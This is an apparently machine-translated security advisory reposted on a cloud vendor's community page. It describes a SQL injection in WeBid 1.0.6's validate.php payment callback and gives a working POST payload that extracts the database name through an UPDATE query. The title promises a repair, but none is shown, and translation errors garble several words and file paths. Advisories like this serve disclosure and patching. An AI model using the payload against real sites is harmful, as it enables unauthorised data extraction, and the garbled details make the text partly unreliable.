WeBid 1.0.6 SQL injection and repair

Source: Internet
Author: User

Title: WeBid 1.0.6 SQL Injection Vulnerability
Author: Life Wasted http://www.webidsupport.com/
Affected Versions: 1.0.6, tested, and other versions may also affect
Testing System: Linux and Windows
 
Defect code:
Line 53 of the validate. php file
Lines 198 through 202 and 234 in the between des/functions_fees.php file
 
Test proof

Validate. php? Toocheckout = asdf cballs the toocheckout_validate () function
Toocheckout_validate () takes unsanitized post input from 2 different parameters (total and cart_order_id)
Toocheckout_validate () CILS callback_process () if the post parameter credit_card_processed is equal to 'y'
The unsanitized parameters are using in an UPDATE query:
$ Query = "UPDATE". $ DBPrefix. "users SET balance = balance +". $ payment_amount. $ addquery. "WHERE id =". $ custom_id;
This allows an attacker to retrieve data using a time-based blind injection technique or by updating a pre-existing value to the output of an embedded query.
 
For example, the attacker cocould send the following post data to extract the name of the current database.
 
Http://www.2cto.com/validate. php? Toocheckout = asdf
Post data: cart_order_id = * Attackers UserID * WEBID1 & credit_card_processed = Y & total = 1, name = (SELECT database ())
 
The resulting query wocould be:
UPDATE users SET balance = balance + 1, name = (SELECT database () WHERE id = * Attackers User ID *
 
Then the attacker cocould sign in to their account and view the requested data by going to the edit_data.php page

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.